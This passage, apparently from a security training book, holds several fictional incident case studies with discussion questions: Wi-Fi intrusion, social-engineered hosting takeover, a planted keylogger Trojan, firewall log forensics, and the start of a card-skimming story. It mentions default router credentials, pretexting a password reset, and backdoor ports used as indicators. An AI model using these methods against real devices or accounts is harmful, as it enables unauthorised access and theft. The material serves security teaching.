Teegan walked in and took a seat in the chair next to Paige, facing Jordan across the expansive mahogany desk. He looked around for somewhere to set his coffee, but he was too intimidated by the polished, glossy finish of the desk to set it down there. He held on to it.

Jordan placed a printout of the VPN log data on the desk in front of Teegan and Paige. “Teegan, let me get straight to the point. During our routine auditing of our VPN access logs, we discovered that your user ID has been trying to access a variety of folders, directories, and other network resources that you have no authority to see. We would like to know why.”

Teegan was more than a little stunned. He suddenly seemed more aware of how hot the coffee cup was in his hands as he looked over the log data. Paige had highlighted the entries in question, so they were easy to find. He knew that he had not done any such thing, but his fears gave way to relief as he looked at the time and date information for the entries.

“I never tried to access any of those things,” he said. “In fact, for most of these events, I was sleeping. I am all for being a dedicated employee, but I don’t usually stay up until 2 a.m. doing work.”

Paige asked, “Does anyone else use your computer at home, or do you have more than one computer on your network?”

“No,” replied Teegan. “Just me. I have a DSL Internet connection that goes to my wireless router. I just got the wireless router and a new laptop. It’s great because now I can work on the couch while watching basketball or I can take the computer and do work in bed. It sure beats sitting at a desk all the time. But the laptop is the only computer, and I am the only user.”

“I thought those failed access times seemed odd myself,” said Jordan. “Paige, obviously his user ID has been compromised somehow. I want you to disable it so that these attempts don’t continue…”

“I don’t think we should do that just yet,” interrupted Paige. “As far as these logs show, the access attempts all failed. If we disable his VPN account, we may never get to the bottom of this.

“I have a feeling that someone may be accessing his wireless network. I noticed that there seems to be some consistency in the times for the failed access attempts. If it is OK with both of you, I propose that I go to Teegan’s house and check out his network setup and security to see if I can discover who the culprit is.”

“It’s fine with me,” said Teegan.

Jordan thought for a minute and then said, “OK. But, I want you to have someone analyze these logs even further. I want to see not only the failed attempts, but I want to know every attempt from Teegan’s user ID that was successful as well so that we can make sure nothing has been compromised.”

“No problem, Mr. Price. I will have Ethan get right on it. He loves analyzing log data,” Paige responded.

TUESDAY, JANUARY 10, 2006, 21:30

After going out to dinner with friends, Paige showed up at Teegan’s place. “Hi. Just point me to your computer and wireless router and I will try to stay out of your way.”

Teegan took Paige to a desk in the corner of the living room. On it sat a DSL modem that was connected to a Netgear wireless router and his laptop computer.

On a hunch, Paige opened a web browser window and typed in http://192.168.1.1 and hit ENTER. This was the default IP address for most consumer-oriented router products. A login window popped up. The username Admin was already filled in and it needed a password. Continuing her hunch, she tried the word password, but it was rejected.

“Did you change the password for accessing the router administration screen?” Paige asked.

“You may as well be speaking Russian,” replied Teegan. “I don’t know what you just asked me. I just plugged it in and started using it. The setup was the easiest thing I have ever done with computer equipment.”

Paige opened a new web browser window and went to Google.com. She typed in netgear wireless router default password as search criteria and came up with a site listing the default usernames and passwords for just about any router or networking device available. She located the default password for this particular router, 1234, and typed it in. Voila! She was in the router configuration.

She clicked Wireless Settings in the left menu pane. If the fact that Teegan was using the default username and password for his wireless router weren’t evidence enough, what appeared on the screen confirmed her suspicions of just how insecure Teegan’s wireless network really was (Figure C7-1).
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Figure C7-1. Wireless router administration window showing the default SSID, Allow Broadcast of Name (SSID) enabled, and Encryption Strength disabled



Teegan’s wireless router was still configured with all the default settings. The SSID was set to the default and the router was broadcasting it, essentially announcing to the world that a wireless network was available to connect to. Even worse, the Security Encryption section was set to Disable.

The router should have had the SSID broadcast turned off so that it would be harder for would-be attackers to know that the wireless network even existed to begin with. And, while WEP (Wired Equivalent Privacy) encryption is full of holes and can be easily cracked by even a novice attacker, it is still better than nothing at all. Most current devices use the better WPA (Wi-fi Protected Access) or even WPA-2 encryption algorithms, which are even stronger, but most attackers will just move on to the next insecure wireless network rather than dedicating time to trying to hack into a wireless network with any encrypted security.

She clicked the Attached Devices link in the left menu pane. She saw that, in fact, two devices had connected to the wireless network, but one of them was currently not attached—probably the culprit they were searching for. Teegan’s laptop was one of the devices, but the other was some unidentified rogue device.

“See here?” Paige asked, pointing to the Settings window (Figure C7-2). “You’re not the only one using your wireless network.”
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Figure C7-2. Wireless router administration console showing two devices that have attached to the wireless network—Teegan’s and some other unknown device




Paige started digging around on the laptop to see what sorts of applications or services were being used. She found that the Terminal Services remote desktop service was enabled, and that Teegan had not been logging out of the Terminal Services sessions cleanly. That meant that open Terminal Services shells were running in the background.

“There are Terminal Services sessions open on your laptop. What are those for?” Paige asked.

“We’ve been slammed lately at work. I’ve been connecting to the human resources server using the Terminal Services session so that I can get some work done while I’m at home. Working on the couch while watching TV sure beats doing the work in the office anyway.”

“Well, it is important that you log out properly and close down the Terminal Services session when you’re done. If you just close the window, the session, along with whatever applications you have open in it, will continue to run in the background and could be used by our intruder to gain access as well,” she explained.

She checked some other details on the laptop such as the Event Viewer logs to try and learn as much as she could. Paige then refreshed the Attached Devices screen so that she could watch for the intruder to attach to the network again. The failed access attempts on the company network were all between 1 a.m. and 2 a.m., so she had a couple hours to wait.

“I’m just starting a movie DVD,” Teegan said. “Feel free to grab some pizza and watch.”

WEDNESDAY, JANUARY 11, 2006, 01:05

Just like clockwork, the very consistent intruder popped onto the network. Paige turned on her laptop and started up the NetStumbler application. NetStumbler had a wireless signal strength meter that she could use to track the connection back to the culprit.

The signal appeared to be moderate, but obviously could not be too far. The home wireless router had a range of only a few hundred feet, give or take a few hundred feet, depending on the walls and other interference that might obstruct the signal.

“Are you coming along?” Paige asked Teegan.

Teegan and Paige started to head out the door to try and follow the NetStumbler signal strength meter to trace the intruder. As soon as they opened the door, though, Paige turned to Teegan and said, “Hold on.”

Paige had spotted a car parked on the street in front of the neighbor’s house. Many cars lined the curb in both directions. What was unique about this particular vehicle was that a person was sitting in the driver’s seat, his face illuminated by the pale blue glow of a laptop’s LCD display.

“I think we found our intruder,” Paige said.

[image: image]   QUESTIONS

1. What could Teegan have done differently to prevent his wireless network from being compromised?

2.  Is there anything that Capitalism Lending can do to protect its internal network from insecure home computers attached to the VPN?

3. What can Capitalism Lending do to make sure compromises like this are detected sooner?

4. What other measures should Capitalism Lending implement to protect its network from such attacks?


CHALLENGE 8

Crossing the Line

by Todd Lefkowitz
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	Industry: 

	 Internet and Retail



	Attack Complexity: 

	 Medium



	Prevention Complexity: 

	 Medium



	Mitigation Complexity: 

	 Medium to High






Polpis Technology Solutions was a small corporation that specialized in selling hardware and software products from an online storefront. The company’s product offering ranged from computers and their associated peripherals to tax and accounting software. Polpis Technology Solutions prided itself on selling literally anything and everything that supported the “digital age.” The company had managed to build a solid brand and had continued to see exponential growth despite its young age. Rapid revenue growth was partly due to little overhead and an outsourced model that kept the operational resource management minimal and corporate headcount low.

TUESDAY, NOVEMBER 22, 2005, 08:45

Steven Harris, director of e-commerce for Polpis Technology Solutions, strolled into his office and plopped down at his desk. He commenced his usual morning ritual of scanning the national news online while sipping a piping hot cup of green tea. As the warm vapor from his tea wafted into his nostrils, Steven settled back into his chair. The holiday season was rapidly approaching, and Steven was getting excited about the growth in revenue the company expected from its burgeoning business.

After about five minutes, Steven opened the statistical modeling tool that Polpis Technology Solutions used for its business trending and analysis. He went to the revenue reports page and printed out a report summarizing the sales activities of the preceding day, which was the next step in his daily ritual. He meandered over to the printer and picked up the print job so that he could begin leafing through the sales statistics. His bonus was tied to the success of the online program, and his adrenaline always began to flow as he picked up the analysis each day; it always showed positive growth. Christmas was poised to be big for Steven this year.

On this day, Steven was a bit surprised by what he saw in the report: it was empty. He grumbled in anger at his stupidity for running the wrong report, and shuffled back to his desk. He then pulled up the web view of the report and was stunned: the report registered zero revenue for Monday (Figure C8-1).
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Figure C8-1. Polpis Technology Solutions revenue report



Feeling a bit confused, he pulled up a report for Monday’s activity since midnight. He knew that peak sales windows coincided with business hours in North America; however, sales activity occurred 24 hours a day. When the report popped up, it, too, registered zero revenue. Steven was stunned; Polpis Technology Solutions generated approximately $5000 in revenue on a daily basis, which had been consistent for the last seven months. Although fluctuations in revenue had occurred, with swings of up to 20 percent a day, he’d never seen anything like this. It seemed that no web sales occurred on the site since the end of Sunday.

“This is impossible. Could be the site is down,” he thought out loud. “But no alerts have been issued to my phone, and I haven’t gotten any e-mails indicating any problems.”

He typed the website’s address into his browser’s address bar, and sighed with relief when the site popped up. He ran a query directly from the database that handled Polpis Technology Solutions’ web sales. Connecting directly to the database would allow him to identify the site’s true revenue statistics. “I wonder if the reports are wrong because the interface to the revenue reporting engine is broken or not effectively pulling the statistics it should be collecting…. “

He opened Query Analyzer and connected to the SQL Server database that managed the data. He entered a simple search query into the user interface and executed his search:
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Steven choked on a sip of tea, and hot liquid shot through his nostrils and splattered his oxford button-down. He slammed his fist on the desk in protest at what he saw on the screen: not a single database entry was retrieved from his query!

His discomfort level rising, he knew this couldn’t be right. With the holidays approaching, Polpis Technology Solutions was running aggressive web marketing that should increase sales. “Well, just because the site is up now doesn’t mean it was up yesterday. It doesn’t make sense, though, since I didn’t get any alerts of the site being down.” Steven feverishly tapped his pen against his temple as he checked the logs from the last 48 hours of site traffic analysis.

He was dumbfounded; after checking the logs from both yesterday and today, not only did website traffic not drop off, but the website return rates and new site visits did not deviate from the norm. Steven knew that he needed help from the team; if he worked on this issue alone, it could take forever to fix.

He opened his e-mail to send out a meeting request for a team meeting to address the revenue discrepancy. He noticed an unread e-mail in his trash folder. This attracted his interest, as he never sent e-mail to the trash without opening and at least skimming the message. But there were more pressing issues at hand, so he ignored his trash folder and opened a new message window to send an urgent meeting request e-mail to his team.

TUESDAY, NOVEMBER 22, 2005, 09:30

At the team meeting, Steven took a pull from his second cup of green tea. He told his teammates that he was concerned and equally frazzled by the fact that revenue had dropped off to zero, especially at the holiday season. He scratched his head as he reviewed the actions he took this morning. “Does anyone have any idea of what might be happening?”

A younger member of the engineering team piped up: “Steven, I’m not really sure what to say. It seems like you’ve done a good job of troubleshooting. How do you know that our site visitors just didn’t feel like making purchases over the last couple days?”

Steven choked back a wave of anger at the engineer’s inane question. Without completely losing his cool, he replied, “Based on statistical analysis of our revenue trends over the last six months, I would find it highly unlikely that revenue would drop to zero as it has over the last day and a half.”

He was anxious to continue troubleshooting and didn’t want to be bothered with another useless theory, so he announced further investigatory plans and asked for the assistance of some of his lead engineers. He asked QA manager Suzie Warms if she could run a few tests to confirm that the website was functioning OK with an end-to-end transaction on a test account they frequently used.

TUESDAY, NOVEMBER 22, 2005, 10:20

Suzie returned to the lab after the meeting and began running a few test cases to validate the site’s e-commerce functionality. As she started running through her test scenarios, she noticed a slight delay as she was directed to the products home page. When the page finally loaded, some of the cell spacing seemed to be inconsistent from page to page, as though the margins were off by about 10 pixels or so. “This is a bit odd, but the site seems to be functioning correctly,” she said to herself. Suzie completed a full transaction and everything seemed operational, despite some odd formatting inconsistencies.

As she was about to report back to Steven, the lab telephone rang. She answered the phone and discussed the day’s upcoming test schedule with the caller. As she was talking, her eyes began to wander to her computer screen, when something in the address bar of the Mozilla browser caught her eye. There seemed to be a few additional characters in the root domain of Polpis Technology Solutions’ address within the address bar’s query string. “Listen, I’ve gotta go,” she said, and then hung up the phone to take a closer look. “Looks like there’s a %03 where the y in technology should be.” (See Figure C8-2.)
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Figure C8-2. Polpis Technology Solutions address bar anomaly



This anomaly piqued her interest. She selected to view the page source from the previous page. Sure enough, the page redirect contained an erroneous root domain name (Figure C8-3).
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Figure C8-3. Polpis Technology Solutions menu web page source code



Suzie walked over to the lab’s test machine and began analyzing the source files for the site from the source control system. Interestingly, the page that she viewed on the lab’s test host did not include the polpistechnolog%30.com source error, nor had it even been modified within the last two days.

Suzie felt a rush of adrenaline. She loved solving problems, and she knew she was on to something interesting. She returned to the test machine and cleared all the contents of the address bar with the exception of 
http://www.polpistechnolog%03.com A page loaded, but it was completely blank. She decided to ping the host to get its IP address so that she could get some more information about the machine. Suzie opened a command window and typed the following:
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The ping response confirmed that the faulty corporate address was in fact an active site. She realized that it could take quite some time to figure things out, so she picked up the phone and called Polpis Technology Solutions’ lead security engineer, Marc Andrew.

“Polpis Technology Solutions, this is Marc Andrew. How can I help you?”

“Hey, Marc, this is Suzie…”

Before Suzie could answer, Marc asked, “Hey, Suzie, how are you? I haven’t seen you in a few days.”

“I am doing well, thanks. Listen, I’m calling because I think I’m on to something real interesting with regard to the issue that Steven called us all together for this morning.”

“Cool. What do you have?”

Suzie explained to Marc what she has found so far and asked him to join her down in the lab.

TUESDAY, NOVEMBER 22, 2005, 10:50

Marc slipped into the company’s kitchen and opened the communal refrigerator. He grabbed a can of soda and meandered across the hall to the lab. He opened the door and found Suzie intently staring at a browser window on one of the lab’s test machines.

“Hey, Suzie, so show me what you’ve got,” Marc said, as he pulled a chair up to the test machine so that he could see the screen.

Suzie reviewed what she had found and showed Marc the site source code and the IP address of the mirror site. “I’m glad you called me down here, Suzie. This is some really interesting stuff.”

Marc rolled his chair over to the next test machine and opened up a new web browser. “Let’s do this,” Marc added, as he feverishly typed into the address bar. “Let’s see where this site is registered. If we go to www.internic.com and run a whois search, we can find out who registered this site to see if we can get any more information.”

The search returned its results. “Hmm…. By the looks of this registration information, it seems that this site is a privately hosted and managed site out of Moscow, Russia. This is odd,” Marc mumbled.

Suzie thought for a minute, tapping her fingers on the desktop. She turned to Marc. “There is a functionality component within Google’s search engine that lets you view all pages that link to one another. As an example, you can type in the name of a website and view all other websites that have hyperlinks to the website you chose.”

“Really?” Marc replied.

“Yep. In fact, let’s see what we get.” Suzie opened a new web browser and pulled up the Google website. She entered the search syntax she knew would execute the specific search she was looking for, link:, followed by the suspicious www.polpistechnolog%03.com website name. The search returned a single website, whose root domain was located in Russia, designated by .ru (Figure C8-4).
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Figure C8-4. Google page-specific link search




“Check this out, Marc. ruhack.ru? This sounds pretty suspicious to me, but the site is written in Russian Cyrillic so I have no idea what it means.”

“Try dropping it into a text translator,” he replied.

Suzie opened a new web browser, fired up another Google page, and searched for a Russian-to-English translator. She found one, took the header that the Google link search retrieved, and sent it through the translator:

[image: image]

“How I plan to hack my way to wealth.”

Suzie and Marc glanced at one another and decided it was time to inform Steven of their discovery. They locked the test desktops and left the lab to head over to Steven’s office.

TUESDAY, NOVEMBER 22, 2005, 11:20

“Come on in, guys!” Steven hollered as he motioned for Suzie and Marc to join him in his office. “So what’s up? Any luck with the situation? I’ve been monitoring my reports and it doesn’t look like anything has changed since this morning.”

“Well, Steven, Marc and I have come across some pretty interesting artifacts, and it looks like we may have been hacked. Let me run you through what we’ve found, but we need to update our source files immediately.”

Steven opened a browser window as Suzie and Marc peered over his shoulder. As Steven typed in the address of their hosting provider, he turned to Suzie and said, “This is about to get interesting.” The hosting firm’s login page appeared and Steven entered his user credentials. To his surprise, his login attempt failed. “Sometimes I think that my fingers are too big for this line of work. If I had a nickel for every time I fat-fingered a password…” Then Steven’s next login attempt failed. Steven grumbled under his breath and carefully typed in each key of his user credentials to ensure he was entering everything correctly. “Sometimes three times isn’t a charm,” he said, as another failed login attempt flashed on his screen.

“As if we weren’t having enough problems this morning,” Steven growled, as he reached for the phone.

“This is really bizarre,” Suzie added. “Has the password changed recently?”

“No, I haven’t received notification to do so, and I changed my password less than two months back, so the password rotation wouldn’t have come up. Hold on a second, Suzie, let me get Shawkemo Web Hosting on the line.” He enabled his speaker phone and dialed the Denver hosting firm’s number.

TUESDAY, NOVEMBER 22, 2005, 11:25

Sean Patrick was at his desk, taking routine support requests, when he received a call from Steven Harris at Polpis Technology Solutions in San Francisco.

“Good morning,Shawkemo Web Hosting, this is Sean. How can I assist you today?”

“Hi there, my name is Steven Harris and I’m the director of e-commerce at Polpis Technology Solutions in San Francisco. Our domain is hosted with your firm and is Polpistechnology.com. We’ve had an interesting phenomenon occur over here, and I was wondering if you could assist me?”

“Sure thing,” Sean politely responded. Remembering Steven’s call from yesterday, Sean decided to ask Steven how his customer meeting went. Sean figured the personal touch might assist the call if the problem was really bad. “By the way, Mr. Harris, how did your meeting go?”

Steven furled his eyebrows and shot Suzie and Marc a look of frustration. “Excuse me? What are you talking about?”

“You and I spoke yesterday regarding the client pitch you’d lined up; you called me from the airport. You’d forgotten your password and had me reset it for you.”

Now thoroughly confused, Steven replied, “I didn’t call you yesterday. You must have me confused with another customer.”

“A gentleman named Steven Harris, from Polpis Technology Solutions, called yesterday at 9:10 a.m. It’s right here in my call log,” Sean protested.

“You mean a gentleman whose alleged name was Steven Harris called and requested a password change for the Polpis Technology account,” Steven declared, with a drawn-out sigh and a sinking feeling in the pit of his stomach.

Steven turned to Suzie with a look of dread. “It looks like we’ve got a big problem on our hands…“

[image: image]   QUESTIONS

1. If the Polpis Technology Solutions storefront had full control and management of its Domain Name System (DNS) servers, how might a social engineer have compromised the website to gain the same results?

2. How could this attack have been prevented?

3. What was the complexity of this attack?


CHALLENGE 9

The Root of the Problem

by Tony Bradley, S3KUR3, Inc.
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	Industry: 

	  Publishing




	Attack Complexity: 

	  Moderate




	Prevention Complexity: 

	  Moderate




	Mitigation Complexity: 

	  Moderate







WEDNESDAY, NOVEMBER 9, 2005, 15:17

Dillon McCabe had put in six solid years working for Markwell Publishing—half of them as a one-man IT department. He had essentially pieced the network together with chewing gum and tin foil when there was no budget at all, and he had put in 80-plus–hour weeks to handle all of the network administration tasks as well as the technical support issues for the desktop systems. Markwell Publishing owed him.

Dillon had been there through it all since the company was launched. He’d been through times when he wasn’t sure he would be paid at all, and raises and bonuses were virtually unknown. Now that Markwell Publishing had survived to adolescence and was making a name for itself, one of its larger competitors had started to take notice. Slyck Press had approached Dillon with a job offer for substantially more money than Markwell was paying him.

He tried to rationalize that it was out of some sense of loyalty and fellowship, but the real reason Dillon went to Frank Samuels, Markwell Publishing’s founder and president, was simple greed; he asked for an increase in pay and benefits above and beyond what Slyck Press had offered him. If he could use the Slyck Press’s offer as leverage, he hoped he would be able to earn the money he wanted while staying with coworkers he knew and with a network he architected.

Frank thought about it, but said that he didn’t believe the job was worth the kind of money Dillon was asking for. Dillon was shocked and disappointed when Frank did not counter. On the spot, Dillon gave his two weeks’ notice and left Frank’s office more than a little disgruntled.

He would have simply walked out on the spot, but he decided to do some “patching” of some computers before moving on to his new position with Slyck Press. He downloaded some tools to his USB flash drive and proceeded to “update” a few key systems.

TUESDAY, JANUARAY 10, 2006, 09:08

It was going to be one of those days, apparently. Noah had barely walked to his desk and sat down when Greg, the head of the advertising sales group, came to see him.

Noah Chapman had been working in the IT group of Markwell Publishing for almost three years, but he had just recently been moved up to the position of managing network administrator and all of the dirty work that entailed when Dillon McCabe had left the company for a more lucrative position with another publisher.

He would be more impressed with himself, and his promotion, if it weren’t for the fact that only three people were on the IT team, including himself, and his promotion came by seniority, not by virtue and dedication.

He picked up his Markwell Publishing mug, a company gift for everyone last Christmas in lieu of real bonuses, and took a sip of his coffee with hazelnut-flavored creamer. “What can I do for you, Greg?” Noah asked.

“Well, this may sound very strange, but is there any way that Dillon may somehow be getting information from my computer?” said Greg.

“I am sure it is technically possible. Why do you ask?” said Noah.

“Since he left, we have lost a number of contracts and bids for new business. Every time we lose, it seems that Slyck Press is the one that beats us, and they seem to beat us by only a little bit. It just seems too coincidental to me,” Greg said. “I think maybe he is somehow getting information from my computer so that he knows what we are bidding or what we are offering so they can swipe the business from us.”

“OK. Let’s go take a look,” said Noah.

Noah and Greg walked across the office to the advertising sales team area. Seated in a small sea of cubicles, with walls just high enough to prevent the team from making eye contact and being distracted by each other, were approximately 20 employees diligently sending e-mails and placing phone calls to sell ad space in Markwell Publishing’s various magazines.

The two walked past the advertising sales team and into Greg’s office. Noah could hear the power supply and fan and the distinct noise of the hard drive grinding away as the activity light on the front of Greg’s laptop flickered and flashed.

“Can you figure out what is going on?” asked Greg.

“I can’t be sure yet. For starters, though, since you think the computer may have been compromised, I can’t trust any of the files or utilities on it. Thankfully, I have a diagnostics disc with the tools I need. The Helix Live CD tools give me just about everything I need, and I added a few of my own, too,” Noah said. “That way, I can run my utilities from a known clean CD instead of a suspect computer.”

Noah put his diagnostics CD into the computer’s CD-ROM drive and opened a command prompt. He searched his bag of tricks on the diagnostics CD and ran FPort, a free forensic utility from Foundstone. Foundstone was founded and run by the authors of McGraw-Hill/Osborne’s venerable Hacking Exposed books. Foundstone had since been purchased by McAfee, but it still operated as a separate division, and the free utilities that Noah had come to rely on were still available.
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“What is all that gibberish?” Greg inquired.

“This utility will not only show us which TCP and UDP ports are open, but it will also link them to the applications that are using them so we can identify any unknown or suspicious ones,” Noah explained.

Running FPort didn’t lead to any epiphanies, so Noah went back to the diagnostics CD. This time he ran Process Explorer, a free utility available from Sysinternals. Process Explorer examines the processes running on the system and maps them to the handles or dynamic link library (DLL) files that they have open.

“Nothing there either,” said Noah. “Perhaps Dillon was more clever than I give him credit for.”

Noah went back to his CD and found a tool called BlackLight, a utility from F-Secure. “This utility can detect files and processes that are hidden even from the Windows operating system.” Noah was trying to keep Greg informed of what he was doing.

Noah ran BlackLight and generated the following results:
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Noah checked out the BlackLight log and noted some of the hidden files. He did not recognize anything offhand, so he did a Google search for the first one on the list—qservice.exe. Some of the Google results suggested that qservice.exe was related to a Trojan called ProAgent, which Noah noticed was also one of the hidden files detected by BlackLight.

“Very sneaky, Mr. McCabe,” Noah said, admiring his former boss’s creativity.

Noah opened an Internet Explorer web browser window and went to the Trend Micro virus information website at http://www.trendmicro.com/vinfo. He did a search for ProAgent and came up with the following description:

Description:

This Trojan steals e-mail and Instant Messenger (IM) password from the affected system. Upon execution, it drops a copy of itself in the Windows folder and logs the user’s keystrokes. It then sends the information to the remote malicious user via e-mail.

It also creates a registry entry that enables its automatic execution at every system startup.

“According to this, the ProAgent file detected by BlackLight is sending information from your computer to an outside e-mail account,” Noah explained. “So we have a pretty good idea of what is going on here and who is responsible for it. I have a little more investigating to do. After I get more information, we can take our findings to management I think.”

“If you say so,” said Greg. “I’m still catching up.”

[image: image]   QUESTIONS

1. What built-in Windows tool could have been used to identify open ports?

2. How should Markwell Publishing have handled Dillon’s departure to protect against this attack?

3. How can the company protect its internal systems and data from being abused through the inappropriate use of USB flash drives?

4. What else can Markwell Publishing do to try to safeguard its systems from rootkits?


CHALLENGE 10

Firewall Insights

by Anton Chuvakin, netForensics, Inc.
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	Industry: 

	  Small Bank




	Attack Complexity: 

	  Medium




	Prevention Complexity: 

	  Low




	Mitigation Complexity: 

	  High







First Hacked Bank of Connecticut (FHBC) was a small community bank in northern Connecticut. Despite pressure from various federal regulations, the bank was improving its security only slowly, if at all. The problem was that all purchasing was driven from the top, and “CISO-fancy” solutions in unopened boxes littered the hallways of the IT department. These security management consoles, vulnerability scanner appliances, and other expensive gear sat unused, a silent reproach to the IT bosses.

While the majority of the company’s systems ran various versions of Windows, many of the servers exposed to the Internet were Solaris systems, which were slowly being replaced by Linux, since this was, they believed, “an industry trend.”

FHBC’s IT security environment (see Figure C10-1) had Cisco PIX firewalls deployed on the perimeter and at some critical internal network chokepoints (the work of an unusually lucid CISO, who had since quit to work for a security vendor). The intrusion detection and prevention side was represented by several commercial SNORT appliances deployed in the DMZ (and several more sitting in the unopened boxes, waiting, in vain, for deployment somewhere).
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Figure C10-1. Partial diagram of FHBC’s network



Virus protection was represented by a leading vendor’s antivirus solution, deployed on the mail gateways and Windows desktops. The desktops were supposed to get personal firewall protection in the future, but a specific vendor had not yet been chosen. Everything at the bank moved slowly.

When the successful intrusion at the bank was finally detected, an external consultant team was brought in to perform the incident response (a full incident lifecycle from damage assessment to final recovery) and to review all the logs and other computer records collected in the past several months to establish whether any other attacks had been successful. It was likely that the bank had, in fact, been subject to attack more than once—but nobody was watching or paying attention.

After finishing the immediate incident response activities, mitigating the results of the breach, and completing the lessons learned documents, the team was ready for further action.

IT was directed to look at past logs stored in various places and tasked with analyzing them for traces of suspicious and malicious activity. A massive task lay ahead.

MONDAY, MARCH 13, 2006, 09:15

“Hey, Mark,” said the team lead, Anthony. “What’s your idea for where to start?”

“Well, that’s a trick question. No matter where we start, the finish will be nowhere in sight,” Mark replied. “We can start by piling all the logs those losers collected over the last quarter and stuffing them in this SIM [security information management] software we got. At least we’ll have a nice, clean way of looking at all this crap…ummm…I mean, evidence.”

Another consultant, Joseph, interrupted: “How about we look for whether they have any boxes that were ‘owned,’ in addition to this one that we just cleaned?” (Some consultants use hacker lingo for various reasons—which may have nothing to do with their past criminal backgrounds—so Joseph’s choice of words—“owned” instead of “compromised”—was not at all surprising.)

Anthony concurred: “Sure, let’s start that right now. But stuffing all the logs into SIM is also a good idea—we can spend some time on that up front, but make our life much easier later.”

They dragged out the system that ran a SIM and started feeding all the logs into it. While the logs loaded, the team took an early and long lunch.

MONDAY, MARCH 13, 2006, 13:30

“OK, so what got owned?” asked Jeremy, another team member who specialized in Unix and Windows forensics. He brought up a SIM console and was ready to start running reports and queries.

Anthony responded, “We can look at the servers that sit in their DMZ, which is more exposed than other parts of their network. After all, that’s where the first owned machine was. While we didn’t notice that the same attacker got anywhere else from it, his ‘colleagues’ might have been more lucky or more elite. The DMZ IP range is a C-class of 11.11.11.0, which is mapped to a public range of 10.10.10.0.

“Let’s see whether any of the boxes in that range initiated something strange outbound. Those are servers, and they should not be calling the PacketStorm site—in fact, they should never connect to Internet sites on their own.”

Anthony ran a query to detect connection with sources in the DMZ and destinations outside of FHBC network:
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This resulted in a surprisingly large set of records, such as these:
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A fair number of these were also found:
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In total, about 370 successful connections were made to various ports on the external systems all over Internet, as well as 2000 or so failures, mostly on port TCP 6667.

“Wow, let’s check out this one!” Andrew exclaimed. “If this doesn’t scream ‘I am owned,’ I am not sure what would!”

Mark said, “This actually happened quite some time ago—looks like about two months back. I wonder whether we should check out the system later today or tomorrow? Maybe it’s still compromised. I don’t see any later suspicious activity from it, so maybe the attacker abandoned it,” he added, noticing that the pattern of the activity stopped.

Jeremy asked, “I wonder why there are so many failed connections? Wouldn’t they notice that they weren’t able to connect and stop?” But nobody was paying attention to him, as they peered into the log data.

TUESDAY, MARCH 14, 2006, 08:13

“Let’s look at malware stuff next,” suggested Anthony. At this time, most of the Internet-exposed systems were flooded with attempts from infected and compromised systems, running versions of Slammer, MSBLAST, and all worms past and present. Malware traffic from outside the firewall would likely not concern the investigators, but the same attempts from the internal network (IP addresses 11.13.0.0/16) would be significant.

Mark logged into the SIM software and tried a couple of queries on ports such as TCP 139, TCP 445, and others, looking for internal systems that tried to connect to a large number of other systems, both internal and external. This would indicate a worm pattern. The number of unique destinations the attackers looked for inched upward from 1000 and more. “No obvious worm traces are here,” he said. “Looks like the AV software is doing its job.”

“How about we look for ports TCP 3127 and TCP 6129?” asked Anthony. So Jeremy typed in this query:
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He found thousands upon thousands of records such as this:
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“Ooops, wrong query,” he said, and ran the following:
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Results were less than encouraging:
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“Hmmm… this is internal-to-internal communication, apparently coming from that lone PIX that they have on the inside, between the branch office networks and the corporate LAN. That’s pretty ominous.”

Anthony said, “It sure looks like this one is also owned, and it is on the inside!

Pretty bad.”

“Why did you say ‘owned’ and not ‘infected’?” asked Mark.

Anthony explained, “The worm used this port as a backdoor, and a lot of other malware as well as human attackers would look for this port. Thus, the system with IP11.13.10.35 could either be infected by something that tried to spread through this port, or it might have an actual attacker running scans to figure out where to go next. The latter seems more ominous, but then again malware can do plenty of damage, especially if it’s launched to target a specific victim, such as FHBC.”

They discussed whether these incidents were related and concluded that no obvious clues pointed to that: the timeframe was different and the systems sat on different networks, separated by the firewall.

“By the way, what kind of firewall rules do these guys use to control DMZ to internal traffic? I hope it’s all blocked…” Andrew said. The team decided to request the rulesets from all the PIX firewalls to figure out the possible spread of damage from the infected or compromised systems they’d found.

TUESDAY, MARCH 14, 2006, 13:03

“What about TCP 6129? Have you found anything fun there?” asked Joseph, who had been silently looking at more logs.

“Nah, it’s all clean. Some attempts from the outside, but nothing fun from their boxes,” Mark responded. “They avoided this one. But here’s an idea: maybe we should look at spyware traces in those logs as well?”

The investigation continued….

[image: image]   QUESTIONS

1. What other compromise indicators in addition to those used by Jeremy should the team have looked for?

2. Do you think Mark was correct when he suggested that they check the possibly compromised system “later today”?

3. Was Jeremy right when he said that a Windows server should never initiate connections?

4. How would you confirm that port 6667 traffic seen during the investigation is really IRC, having only the firewall logs available?

5. Answer the question Jeremy asked: “I wonder why there are so many failed connections? Wouldn’t they notice that they weren’t able to connect [on port TCP 6667] and stop?”

6. Why did Jeremy search for ports TCP 3127 and 6129?

7. What is wrong with the first query that he typed?


CHALLENGE 11

Peter LemonJello’s “A Series of Unfortunate Events”

by Bill Pennington, WhiteHat Security
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	Industry: 

	  Finance




	Attack Complexity: 

	  Easy




	Prevention Complexity: 

	  Medium




	Mitigation Complexity: 

	  Easy







MONDAY, MARCH 21, 2005, 22:39

Lily was quivering with excitement. Tonight she was going to join an elite group. She had been working this stupid mall job at Jimmy’s Party Palace for six months, just to get to this point. She had skimmed 10,000 credit cards from unsuspecting customers, and tonight was the night she was going to cash in.

Just then, user 53rg10 logged into America Online Instant Messenger (AIM).
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Lily tapped around patiently. She had followed 53rg10’s instructions carefully, but she didn’t really know whether the data was good or not.
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Lily hopped into the terminal to claim her reward:
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Lily was in! 53rg10 had one more present for her:
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Lily poked around on the server for a few more minutes, but pretty soon her dad popped his head in and told her to go to sleep. Exploration would have to wait until tomorrow.

TUESDRY, MARCH 22, 2005, 08:00

Peter LemonJello stumbled into the office. He was getting way too old for all-night raves with high school kids. Pretty soon, though, he would have enough money not to worry about getting into the office on time. Work would be a distant, hazy memory if everything worked out.

“Umm…good morning Peter,” slurred a sleepy voice from the entrance to Peter’s cube.

“Good morning, Dale.”

“Umm…the mail server is acting a little flakey,” Dale said.

“OK. I’ll check into it.”

Peter knew that the mail server was not a “little flakey.” Dale was just a moron. Peter had worked for Dale for two years, and every second he was near Dale, Peter’s opinion of him went further down the drain. Dale, in Peter’s opinion, was a complete moron.

Dale was the reason for Peter’s side project—bughunter.com, the world’s first massive multiplayer online game for exterminators and exterminators in training. Peter had a few more tweaks to the server code and beta testing was going to begin. He was already fielding calls from Orkin about using the game in its training classes. Not only could you play exterminators, but you could also play bugs and overrun buildings or entire cities. Peter already had great ideas for further expansion packs.

